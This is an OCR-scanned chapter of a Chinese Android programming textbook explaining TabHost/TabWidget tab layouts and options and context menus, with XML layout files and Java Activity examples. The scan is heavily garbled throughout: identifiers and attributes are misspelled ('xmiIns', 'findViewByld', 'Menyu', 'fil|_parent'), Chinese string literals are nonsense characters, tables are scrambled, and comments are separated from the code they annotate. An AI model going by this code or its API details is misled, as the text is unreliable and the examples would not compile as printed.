TabWidget 类 的 常用 方法 如 表 7-29 所 示 。 


表 7-29 TabWidget 类 的 常用 方法 


No. 描述 
1 public TabWidget(Context context) 造 创建 TabWidget 实例 
和 public void addView(View child) 普 带 向 TabWidget 增加 组 件 
3 public int getTabCountO 普通 返回 Tab 的 数量 
4 public void setEnabled(boolean enabled) 普 il 配置 是 否 启 用 


218 


但 是 如 果 要 想 通 过 配置 实现 标签 布局 ， 则 对 配置 文件 的 编写 上 也 有 要 求 。 
@ 所 有 用 于 标签 配置 的 文件 必须 以 <TabHost> 为 根 节点 。 


<TabHost /定义 TabHost 标签 
xmiIns:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/tabhost” // 组 件 ID， 程 序 中 使 用 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fil_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
三 /定义 若干 布局 管理 器 或 组 件 
</TabHost> /标签 布局 完结 标记 


@ 为 了 保证 标签 页 和 标签 内 容 显示 正常 〈 如 标签 提示 要 放 在 标签 显示 内 容 之 上 ) ， 可 以 采 


-个 布局 管理 器 进行 布 


<TabHost 


局 。 
/定义 TabHost 标签 


xmlns:android="http:/schemas.android.com/apK/res/android" 


第 7 章 Android 中 的 基本 控件 (下 ) 


android:id="@+id/tabhost" 
android:orientation="Vertical” 
android:layout_width="fill_parent" 
android:layout_height="fil/_ parent"> 
<LinearLayout 
android:orientation="Vertical” 


android:layout_width="fill_parent" 
android:layout_height="fill_parent"> 


</LinearLayout > 
</TabHost> 


@ 定义 一 个 <TabWidget> 标 签 ， 用 于 表示 整个 标签 容器 ， 


用 为 tabs 的 组 件 ， 表 示 允 许 加 入 多 个 标签 页 。 


<TabHost 


/组件 ID， 程 序 中 使 用 

// 所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/内 赃 线 性 布局 管理 器 

// 所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 若干 布局 管理 器 或 组 件 
/布局 管理 器 完结 标记 
/标签 布局 完结 标记 

另外 ， 在 定义 此 组 件 时 ， 要 引入 


/定义 TabHost 标签 


xmlins:android="http:/schemas.android.com/apK/res/android" 


android:id="@+id/tabhost" 
android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 


<LinearLayout 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 


<TabWidget 


android:id="@android:id/tabs" 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 


android:layout_alignParentTop="true"/> 


</LinearLayout > 
</TabHost> 
@ 由 于 TabHost 是 FrameLayout 的 子 类 , 所 以 要 想 定 义 标签 页 必须 使 用 FrameLayout 布局 ， 
而 后 在 此 布局 中 定义 所 需要 的 标签 页 组 件 , 而且 框架 布局 上 必须 引用 tabcontent 组 件 (android:id= 
"(@android:id/tabcontent") ， 这 与 thismyTabHostgetTabContentView0 功 能 类 似 。 


<TabHost 


// 组 件 ID， 程 序 中 使 用 

/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 内 赃 线 性 布局 管理 器 

/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 TabWidget 标签 
/引用 ID 为 tabs 的 组 件 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 自身 组 件 高 度 
// 在 屏幕 上 方 显示 

// 定 义 若干 布局 管理 器 或 组 件 
/布局 管理 器 完结 标记 
/标签 布局 完结 标记 


/定义 TabHost 标签 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:id="@+id/tabhost" 
android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 


<LinearLayout 


android:orientation= "vertical” 
android:layout_width="fill_parent” 
android:layout_height="fill_parent"> 


<TabWidget 


android:id="@android:id/tabs"” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 


android:layout_alignParentTop="true"/> 


// 组 件 ID， 程 序 中 使 用 

/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 内 赃 线 性 布局 管理 器 

/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 TabWidget 标签 

// 引 用 ID 为 tabs 的 组 件 

// 布 局 管理 器 宽度 为 屏幕 宽度 
/布局 管理 器 高 度 为 自身 组 件 高 度 
// 在 屏幕 上 方 显示 
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<FrameLayout 


android:id="@android:id/tabcontent”" 
android:layout_width="fill_parent" 
android:layout_height="fil|_parent"> 


</FrameLayout> 
</LinearLayout > 


</TabHost> 


/内 访 框 架 布 局 ， 固 定 结构 
1/ 引用 tabcontent 组 件 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 定 义 若干 布局 管理 器 或 组 件 
/布局 管理 器 完结 标记 

// 布 局 管理 器 完结 标记 
/标签 布局 完结 标记 


以 上 就 是 使 用 配置 文件 直接 完成 表格 布局 的 操作 ， 下 面 通 过 具体 的 代码 实现 。 


【 例 7-81】 定义 表格 布局 配置 文件 


tab.xml 


<?xml version="1.0" encoding="utf-8"?> 


<TabHost 


// 定 义 TabHost 标签 


xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/tabhost" 
android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 
<LinearLayout 
android:orientation="vertica/" 
android:layout_width="fill_parent” 
android:layout_height="fil|_parent"> 
<TabWidget 
android:id="@android:id/tabs" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:layout_alignParentTop="true"/> 
<FrameLayout 


android:id="@android:id/tabcontent”" 
android:layout_width="fill_parent” 
android:layout_height="fil/_parent"> 
<LinearLayout 
android:id="@+id/tab_edit” 


android:layout_width="fill_parent" 
android:layout_height="fill_parent”" 


androidrientation="Vertica/”> 
<EditText 
android:id="@+id/edit" 


// 组 件 ID， 程 序 中 使 用 

/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 

// 内 赃 线 性 布局 管理 器 

/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 TabWidget 标签 

/引用 ID 为 tabs 的 组 件 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 自身 组 件 高 度 
// 在 屏幕 上 方 显示 
/内 赃 框 架 布 局 ， 固 定 结构 
/引用 tabcontent 组 件 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 

// 每 个 标签 页 所 使 用 的 布局 管理 器 
// 标 签 ID， 建 立 TabSpec 时 使 用 
// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 
/所 有 组 件 垂 直 摆 放 

/文本 编辑 组 件 

/组件 ID， 程 序 中 使 用 


android:layout width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= " 磅 务 信 夫 守 关公 害 ..” / 软 认 显示 文字 


android:textSize="18px"/> 
<Button 
android:id="@+id/but" 


/文字 大 小 
/按钮 组 件 
/组件 ID， 程 序 中 使 用 


android:layout_width="wrap_content"// 组 件 宽度 为 文字 宽度 
android:layout_height="Wwrap_content"// 组 件 高 度 为 文字 高 度 


android:text= " 胡 完 /> 
</LinearLayout> 
<LinearLayout 
android:id="@+id/tab_clock” 


// 上 默认 显示 文字 
/布局 管理 器 完结 标记 

// 每 个 标签 页 所 使 用 的 布局 管理 器 
/标签 ID， 建 立 TabSpec 时 使 用 
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android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 组 件 高 度 为 屏幕 高 度 
androidrientation="Vertica/"> // 所 有 组 件 垂直 摆 放 
<AnalogClock /指针 时 钟 组 件 


android:id="@+id/myAnalogClock” /组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content"// 组 件 宽度 为 自身 宽度 
android:layout_height="wrap_content"/>// 组 件 高 度 为 自身 高 度 


</LinearLayout> // 布 局 管理 器 完结 标记 
<LinearLayout /每 个 标签 页 所 使 用 的 布局 管理 器 
android:id="@+id/tab_sex”" /标签 ID， 建 立 TabSpec 时 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 组 件 高 度 为 屏幕 高 度 
androidrientation="vertica/"> /所 有 组 件 垂直 摆 放 
<RadioGroup // 定 义 单 选 按 钮 组 件 
android:id="@+id/sex” // 组 件 ID， 程 序 中 使 用 


android:layout_width="fil/_parent” /1/ 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"// 组 件 高 度 为 自身 高 度 
android:orientation="Vertica/"> // 所 有 按钮 项 垂直 摆 放 


<RadioButton /按钮 项 
android:id="@+id/male”" // 组 件 ID， 程 序 中 使 用 
android:checked="true” // 上 默认 选中 
android:text=" 糙 吻 : 田 /> /标签 提示 文字 

<RadioButton /按钮 项 


android:id="@+id/female" // 组 件 ID， 程 序 中 使 用 
android:text=" 糙 别 ， 攻 > /标签 提示 文字 


</RadioGroup> // 单 选 按钮 组 件 结束 标记 
</LinearLayout> // 布 局 管理 器 完结 标记 
</FrameLayout> // 布 局 管理 器 完结 标记 
</LinearLayout > // 布 局 管理 器 完结 标记 
</TabHost> /标签 布局 完结 标记 


本 布局 管理 器 的 功能 与 例 7-80 的 功能 一 致 ， 所 以 定义 的 组 件 也 一 致 。 
【 例 7-82】 定义 Activity 程序 ， 生 成 表格 布局 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.TabHost'; 

import android.widget.TabHost.TabSpec; 


public class MyTabHostDemo extends Activity { // 直 接 继 承 Activity 
private TabHost myTabHost:; /定义 TabHost 
private int[ layRes = { R.id.tab_edit, R.id.tab_clock 
,Rid.tab_sex}; /定义 内 能 布局 管理 器 ID 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.tab) ; /调用 默认 布局 管理 器 

this.myTabHost = (TabHost) super.findViewByld(R.id.tabhost); // 取 得 TabHost 对象 

this.myTabHost.setup() ; // 建 立 TabHost 对 象 

for (int x = 0; x < this.layRes.length; x++) { // 循 环 取出 所 有 布局 标记 
TabSpec myTab = myTabHost.newTabSpec("tab" + x); /定义 TabSpec 
myTab.setlndicator(" 标 签 -"+ Xx) ; /设置 标签 文字 
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myTab.setContent(this.layRes[x]) ; /设置 显示 的 组 件 
this.myTabHost.addTab(myTab) ; // 增 加 标签 

} 

this.myTabHost.setCurrentTab(0) ; // 设 置 开 始 索引 


1 


} 

本 程序 直接 使 用 了 tab xml 布局 管理 器 ,并 且 根 据 ID 查找 到 了 tabhost 组 件 , 而 后 使 用 setupO 
方法 建立 标签 (如 果 不 使 用 此 方法 则 出 现 NullPointerException 异常 ) ， 而 后 采用 循环 的 方式 将 
每 一 个 配置 的 标签 页 加 入 到 标签 显示 中 ， 最 后 将 第 一 个 标签 设置 为 默认 显示 。 本 程序 的 运行 效 
果 如 图 7-46 所 示 。 


/提示 


关于 setup0 方 法 的 说 明 。 

TabHost 类 中 setup() 方 法 的 主要 功能 是 建立 TabHost 对 象 ， 如 果 此 时 一 个 Activity 程序 
是 直接 通过 继承 TabActivity 类 实现 的 ， 则 不 需要 使 用 此 方法 ， 但 如 果 是 一 个 普通 的 Activity 
程序 ， 当 通过 findViewById0 取 得 了 TabHost 类 对 象 之 后 ， 必 须 在 执行 setup() 方 法 之 后 才 可 
以 增加 标签 ， 如 下 代码 所 示 : 

myTabHost = (TabHost) fndViewByld(R.id.tabhost); 

myTabHost.setup(); 

myTabHost.addTab(TAB_TAG_1, "Hello, world!", "Tab 1"); 

在 此 程序 中 直接 通过 findViewById() 方 法 取得 了 <TabHost> 的 配置 项 , 而 调用 setup() 方 法 
后 才 可 以 使 用 addTab() 方 法 完成 加 入 标签 。 


另外 ， 如 果 现 在 将 <TabWidget> 的 方式 修改 成 如 下 形式 : 


<TabHost // 定 义 TabHost 标签 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/tabhost" // 组 件 ID， 程 序 中 使 用 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<RelativeLayout 儿 
android:orientation="Vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TabWidget // 定 义 TabWidget 标签 
android:id="@android:id/tabs” /引用 ID 为 tabs 的 组 件 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" /布局 管理 器 高 度 为 自身 组 件 高 度 
android:layout alignParentBottom= true /> 由 下 方 显示 
<FrameLayout // 内 赃 框 架 布 局 ， 固 定 结构 
android:id="@android:id/tabcontent” /引用 tabcontent 组 件 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
要 /定义 若干 布局 管理 器 或 组 件 
</FrameLayout> /布局 管理 器 完结 标记 
</RelativeLayout> /布局 管理 器 完结 标记 
</TabHost> /标签 布局 完结 标记 
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则 此 时 的 所 有 标签 项 都 将 在 屏幕 的 下 方 显示 ， 如 图 7-47 所 示 。 


图 7-47 在 下 方 显示 标签 项 
EY 
/1> 菜单 : Menu 


菜单 在 系统 开发 中 是 必 不 可 少 的 一 种 组 件 ， 在 Android 手机 上 往往 都 会 存在 一 个 Menu 键 ， 
当选 择 之 后 会 在 屏幕 的 底部 显示 系统 的 菜单 ， 在 一 个 菜单 中 可 以 包含 多 个 菜单 项 (Menultem) ， 
但 最 多 只 会 显示 2 排 3 列 ， 如 果菜 单项 超出 了 6 个 ， 则 超出 部 分 会 自动 隐藏 ， 而 且 会 自动 出 现 
-个 名 为 “更 多 ”的 菜单 项 提示 用 户 。 
在 Android 中 , 菜单 的 创建 过 程 较 简单 , 所 有 的 菜单 创建 方法 都 直接 由 Activity 类 本 身 提供 ， 
在 Activity 类 中 定义 的 菜单 操作 方法 如 表 7-30 所 示 。 


表 7-30 Activity 类 中 定义 的 菜单 操作 方法 


No. 方 ” 法 类 型 描述 

1 |public void closeContextMenu0) 普通 关闭 上 下 文 菜单 

和 ublic void closeOptionsMenu 普通 关闭 琳 单 

3 ublic boolean onContextItemSelected(Menultem item 普通 设置 上 下 文 菜单 项 

4 ublic void onContextMenuClosed(Menu menu 普通 上 下 文 菜单 关闭 时 触发 


ublic void onCreateContextMenu(ContextMenu menu., et 
i l 创建 上 下 文 菜单 


View v, ContextMenu.ContextMenulInfo menulInfo) 


当 用 户 按 Menu 键 时 调用 此 操 


6 |public boolean onCreateOptionsMenu(Menu menu) 普通 作 ， 可 以 生成 一 个 选项 菜单 
. public booican onMenultemSelected(int featureld, 普通 设置 选项 菜单 项 
Menultem item 
8 |public boolean onOptionsItemSelected(Menultem item) 普通 0 a y a 
项 被 选中 时 触发 此 操作 
9 __|public void onOptionsMenuClosed(Menu menu) 普通 当选 项 菜单 关闭 时 触发 此 操作 
10 |public boolean onPrepareOptionsMenu(Menu menu) 普通 在 选项 菜单 显示 之 前 触发 此 操作 
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续 表 
页， 法 : 描述 
public void openOptionsMenul | ”普通 | F 选 项 菜单 
public MenuInflater getMenuInflater | 取得 Menulnflater 类 的 对 象 
public void registerForContextMenu(View view) 普通 上 下 文 菜单 


表 7-30 中 的 所 有 方法 基本 上 都 需要 通过 android.view.Menu 和 android.view.Menultem 接口 进 


行 操作 ，android.view.Menu 接口 所 定义 的 常用 方法 及 常量 如 表 7-31 所 示 。 


表 7-31 Menu 接口 的 常用 方法 及 常量 


No. 方法 及 常量 描述 
1 public static final int FIRST 用 于 定义 菜单 项 的 编号 
2 |public static final int NONE 表示 菜单 不 分 组 
此 方法 用 于 向 菜单 中 添加 菜单 项 , 参数 作 
用 如 下 。 
public abstract Menultem add(int groupId, int 尖 通 groupId: 菜单 所 在 的 组 编号 
itemId, int order, CharSequence title) 菜单 项 的 ID 


单 的 出 现 顺序 
回 title: 菜单 的 显示 文字 


public abstract Menultem add(int groupId，int 增加 菜单 项 
itemId, int order int titleRes, 


4 
可 piblic bstract SubMenn wdSubMenntnt groupld, 增加 子 菜单 
int itemld, int order, int titleRes) 
lle ee SubMenu ee groupld, 增加 子 菜单 
int itemld, int order, CharSequence title) 
public abstract void removeGroup(int groupId) | 删除 一 个 菜单 组 
public abstract void removeltem(int id) 曙 除 个 菜单 项 
9 _ |public abstract void clear0 
10_|public abstract void closeO 
11 |public abstract Menultem getItem(int index 指定 的 菜单 项 
12 |public abstract int size0) 器 菜单 项 的 个 数 


接口 


在 一 个 Menu 接口 的 对 象 中 肯定 要 保存 多 个 Menultem 接口 的 对 象 ，android.view.MenuItem 


的 常用 方法 如 表 7-32 所 示 。 


表 7-32 Menultem 接口 的 常用 方法 


万 


法 


描述 


public abstract int getGroupIdO 得 到 菜单 组 编号 
public abstract Drawable getIcon0) 得 到 菜单 项 上 的 图 标 


public abstract int 


getItemIdO 
public abstract int g 
public abstract SubMenu getSubMenuO) 
public abstract CharSequence 


得 到 菜单 项 上 的 四 


得 到 菜单 项 上 的 标题 
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public abstract boolean isCheckableO 
ublic abstract boolean isChecked0) 
9 |public abstract boolean isEnabledO 
10 |public abstract boolean isVisible0 
11 |public abstract Menultem setCheckable(boolean checkable) 
public abstract Menultem setChecked(boolean checked 
13 |public abstract MenuItem setEnabled(boolean enabled) 
14 |public abstract MenuItem setIcon(Drawable icon) 


菜单 项 是 否 可 用 
[菜单 项 是 否 可 见 
此 菜单 项 是 否 可 用 
此 菜单 项 是 否 默 认 选 ] 
项 是 否 可 用 


的 图 标 


15 |public abstract Menultem setIcon(int iconRes) ! 项 的 图 标 
16 public abstract Menultem setOnMenultemClickListener (Menultem. :此 菜单 项 的 监听 操作 


OnMenultemClickListener menultemClickListener) 


单项 的 标题 
,项 是 否 可 见 


| public abstract Menultem setVisible(boolean visible) 
ublic abstract Context Menu.ContextMenulInfo getMenumfo 

通过 以 上 表格 可 以 发 现 ， 在 Android 系统 中 一 共有 3 类 菜单 : 选项 菜单 (OptionsMenu) 、 
上 下 文 菜单 〈ContextMenu) 和 子 菜单 (SubMenu) ， 下 面 分 别 说 明 。 


7.15.1 选项 菜单 : OptionsMenu 


选项 菜单 是 一 种 最 基本 的 菜单 ， 也 是 手机 中 最 常见 的 一 种 菜单 形式 ， 要 想 实现 选项 菜单 ， 
直接 在 程序 中 履 写 android.app.Activity 类 的 几 个 方法 即 可 ， 这 些 方法 介绍 如 下 。 

回 public boolean onCreateOptionsMenu(Menu menu): 在 此 方法 中 设置 多 个 菜单 项 (MenuItem ) 。 
如 果 返 回 tue， 表 示 显 示 菜 单反 之 则 不 显示 。 
回 public boolean onOptionsItemSelected(MenuItem item): 在 此 方法 中 判断 菜单 项 的 操作 。 
回 public void onOptionsMenuClosed(Menu menu): 当 菜单 关闭 时 触发 此 操作 。 
public boolean onPrepareOptionsMenu(Menu menu): 在 菜单 显示 前 触发 此 操作 。 如 果 返 
可 true， 则 继续 调用 onCreateOptionsMenu() 方 法 ， 反 之 则 不 再 调用 。 

【 例 7-83】 在 main.xml 文件 中 定义 要 显示 的 组 件 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” /布局 管理 器 ID 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView /文本 显示 组 件 

android:id="@+id/txt” /| 组件 iD， 程序 中 使 用 

android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text=" 柳 下 Menu 终 东 现 竟 项 类 党 /> ” /| 默认 显示 文字 
</LinearLayout> 
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本 程序 只 是 定义 了 一 个 文本 显示 组 件 ， 其 功能 是 提示 用 户 所 要 进行 的 操作 。 
【 例 7-84】 定义 Activity 程序 ， 履 写 相应 的 方法 以 实现 菜单 的 显示 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.Menyu; 
import android.view.Menultem; 
import android.widget. Toast; 
public class MyMenuDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


} 
@Override 
public boolean onCreateOptionsMenu(Menu menu) { // 显 示 菜 单 
menu.add(Menu.NONE, // 菜 单 不 分 组 
Menu.FIRST+ 1, // 莱 单项 ID 
5 /| 菜单 编 号 
"删除 ") // 显 示 标题 
.setlcon(android.R.drawable.ic_menu_delete); /设置 图 标 
menu.add(Menu.NONE, Menu.FIRST + 2, 2, "保存 ").setlcon( 
android.R.drawable.ic_menu_save); // 设 置 菜 单项 
menu.add(Menu.NONE, Menu.FIRST + 3, 6, "帮助 ").setlcon( 
android.R.drawable.ic_menu_help); // 设 置 菜 单项 
menu.add(Menu.NONE, Menu.FIRST+ 4, 1, "添加 ").setlcon( 
android.R.drawable.ic_menu_add); // 设 置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST + 5, 4, "详细 ").setlcon( 
android.R.drawable.ic_menu_info_details); /设置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST + 6, 7, "发 送 ").setlcon( 
android.R.drawable.ic_menu_send); // 设 置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST + 7, 3, "编辑 ").setlcon( 
android.R.drawable.ic_menu_edit); 1// 设 置 菜单 项 
return true; /| 菜单 显示 
1 
@Override 
public boolean onOptionsltemSelected(Menultem item) { // 选 中 某 个 菜单 项 
switch (item.getltemld()) { // 判 断 菜单 项 ID 


case Menu.FIRST + 1: 
Toast.makeText(this, "您 选择 的 是 “删除 菜单 ”项 。 ", Toast.LENGTH_LONG).show(); 
break; 

case Menu.FIRST + 2: 
Toast.makeText(this, "您 选择 的 是 “保存 菜单 ”项 ", Toast.LENGTH_LONG).show(); 
break; 

case Menu.FIRST + 3: 
Toast.make Text(this, "您 选择 的 是 “帮助 菜单 ”项 。", Toast.LENGTH_LONG).show(); 
break; 

case Menu.FIRST + 4: 
Toast.makeText(this, "您 选择 的 是 “添加 菜单 ”项 ", Toast.LENGTH_LONG).show(); 
break; 
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case Menu.FIRST + 5: 
Toast.makeText(this, "您 选择 的 是 “详细 菜单 ”项 . ", ToastLENGTH_LONG).show(); 
break; 

case Menu.FIRST + 6: 
Toast.makeText(this, "您 选择 的 是 “发 送 菜 单 ” 项 .。 ", ToastLENGTH_LONG).show(); 
break; 

case Menu.FIRST +7: 
Toast.makeText(this, "您 选择 的 是 “设置 菜单 ” 项。 ", ToastLENGTH_LONG).show(); 
break; 


return false; 


1 

@Override 

public void onOptionsMenuClosed(Menu menu) { // 菜 单 退出 时 调用 
Toast.makeText(this, "选项 菜单 关闭 了 ", Toast.LENGTH_LONG).show(); 

} 

@Override 

public boolean onPrepareOptionsMenu(Menu menu) { // 菜 单 显示 前 调用 


Toast.makeText(this, 
"在 菜单 显示 (onCreateOptionsMenu() 方 法 ) 之 前 会 调用 此 操作 ， 可 以 在 此 操 
作 之 中 完成 一 些 预 处 理 操作 。",Toast.LENGTH_LONG).show!(); 
return true; // 调 用 onCreateOptionsMenu() 
} 
本 程序 覆 写 了 相应 的 操作 方法 , 当选 择 某 一 项 菜单 之 后 会 使 用 Toast 组 件 显 示 相 应 的 操作 信 
息 ， 程 序 的 运行 效果 如 图 7-48 所 示 。 


CEESZZZTEER 


在 菜单 显示 ( Er 法 ) 之 前 会 调用 此 操作 ， 可 以 
在 此 操作 之 中 完成 一 些 预 处 理 操作 。 


图 7-48 选项 菜单 


也 提示 
显示 图 片 由 Android 内 置 。 
在 设计 菜单 项 时 ， 所 有 设置 的 图 片 (android.R.drawable.ic menu help ) 都 由 Android 系 
统 内 置 ， 用 户 直接 使 用 即 可 。 


本 程序 在 操作 时 直接 通过 onCreateOptionsMenu() 方 法 在 菜单 中 增加 了 多 个 菜单 项 ， 在 实际 
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应 用 中 也 可 以 直接 通过 配置 资源 文件 的 方式 设置 所 有 的 菜单 项 。 下 面 在 res 文件 夹 中 建立 菜单 项 
的 配置 文件 。 
【 例 7-85】 建立 resmenumymenu.xml 文件 配置 菜单 项 
<?xml version="1.0" encoding="utf-8"?> 


<menu xmlIns:android="http:/schemas.android.com/apk/res/android"> /1/ 定 义 Menu 组 件 
<item // 菜 单项 
android:id="@+id/item01" 1/ 组 件 ID 
android:title=" 添 加" /显示 文字 
android:icon="@android:drawable/ic_menu_add" /> // 显 示 图 片 
<item // 菜 单项 
android:id="@+id/item02" /组 件 ID 
android:title=" 吝 产 " // 显 示 文 字 
android:icon="@android:drawable/ic_menu_save" /> // 显 示 图 片 
<item // 荣 单项 
android:id="@+id/item03" // 组 件 ID 
androidi:title=" 纵 租 " /显示 文字 
android:icon="@android:drawable/ic_menu_edit" /> // 显 示 图 片 
<item // 荣 单项 
android:id="@+id/item04" // 组 件 ID 
android:title=" 涯 细 ' /显示 文字 
android:icon="@android:drawable/ic_menu_info_details" /> /显示 图 片 
<item // 荣 单项 
android:id="@+id/item05" /组件 ID 
android:title=" 励 附 " /显示 文字 
android:icon="@android:drawable/ic_menu_delete" /> /显示 图 片 
<item // 荣 单项 
android:id="@+id/item06" /| 组件 ID 
android:title=" 疼 类" /显示 文字 
android:icon="@android:drawable/ic_menu_send" /> // 显 示 图 片 
<item // 菜 单项 
android:id="@+id/item06" /组件 ID 
android:title=" 者 7" /显示 文字 
android:icon="@android:drawable/ic_menu_help" /> // 显 示 图 片 
<item // 菜 单项 
android:id="@+id/item07" // 组 件 ID 
android:title=" 竹 诸 ” /显示 文字 
android:icon="@android:drawable/ic_menu_send" /> // 显 示 图 片 
</menu> 


在 本 配置 文件 中 通过 <item> 元 素 定 义 了 多 个 菜单 项 ， 而 这 些 菜单 项 中 的 内 容 与 例 7-84 程序 
代码 中 是 一 样 的 ， 此 时 如 果 希 望 从 配置 文件 中 取出 数据 ， 则 修改 onCreateOptionsMenu() 方 法 ， 
但 是 在 编写 此 方法 时 需要 先 使 用 Activity 类 中 的 getMenuInflater() 方 法 取得 MenuInflater 类 的 对 
象 ,MenuInflater 类 的 功能 是 将 配置 文件 中 定义 的 组 件 进行 实例 化 ,此 类 定义 的 常用 方法 如 表 7-33 


表 7-33 Menulnflater 类 定义 的 常用 方法 


No. | 描述 
创建 Menuinflater 类 对 象 
public void inflater(int menuRes, Menu menu 将 配置 的 资源 填充 到 菜单 中 
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【 例 7-86】 修改 onCreateOptionsMenu() 方 法 ， 此 例 直接 列 出 修改 部 分 ， 其 他 部 分 与 例 7-84 


代码 相同 
public boolean onCreateOptionsMenu(Menu menu) { /显示 菜单 
super.getMenulnflater().inflate(R.menu.mymenu, menu); /填充 菜 单项 
return true; /菜单 显示 


} 
本 程序 直接 利用 super.getMenulInflater().inflate() 方 法 加 载 了 mymenu.xml 配置 文件 中 的 菜单 
信息 ， 程 序 的 运行 效果 与 图 7-48 一 致 。 


az 


提示 
建议 使 用 配置 的 方式 进行 选项 菜单 的 开发 。 
对 于 程序 的 开发 模式 来 讲 ，MVC 设计 模式 是 最 常用 的 一 种 设计 模式 ， 所 以 在 开发 时 一 
定 不 要 在 程序 中 使 用 过 多 的 “ 硬 编码 ”， 而 通过 配置 的 方式 设置 菜单 项 ， 对 于 日 后 的 程序 维 
护 也 会 更 加 方便 。 


7.15.2 ”上 下 文 菜单 : ContextMenu 


上 下 文 菜单 类 似 于 Windows 操作 系统 中 的 右键 菜单 的 操作 形式 ， 在 使 用 支持 Android 操作 
系统 的 手机 时 ， 如 果 在 一 个 列表 显示 ListView) 操作 中 ， 用户 可 以 通过 长 按 操作 打开 某 些 操作 
的 菜单 ， 则 这 种 菜单 就 是 上 下 文 菜单 。 要 进行 上 下 文 菜单 的 操作 ， 只 需要 在 Activity 程序 中 履 写 
如 下 方法 即 可 。 

回 public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo 

menulInfo): 在 此 方法 中 可 以 设置 需要 显示 的 所 有 菜单 项 。 

回 public boolean onContextItemSelected(MenuItem item): 当 某 一 个 菜单 项 被 选中 时 触发 此 

操作 。 

回 public void onContextMenuClosed(Menu menu): 当 菜 单项 关闭 时 触发 此 操作 。 

【 例 7-87】 定义 Activity 程序 ， 显 示 上 下 文 菜单 

package org.Ixh.demo; 

import android.app.Activity; 
import android.os.Bundle; 

import android.view.ContextMenu; 
import android.view.Menu; 
import android.view.Menultem; 
import android.view.View; 

import android.widget.ArrayAdapter; 

import android.widget.ListView; 

import android.widget.Toast; 


public class MyMenuDemo extends Activity { 
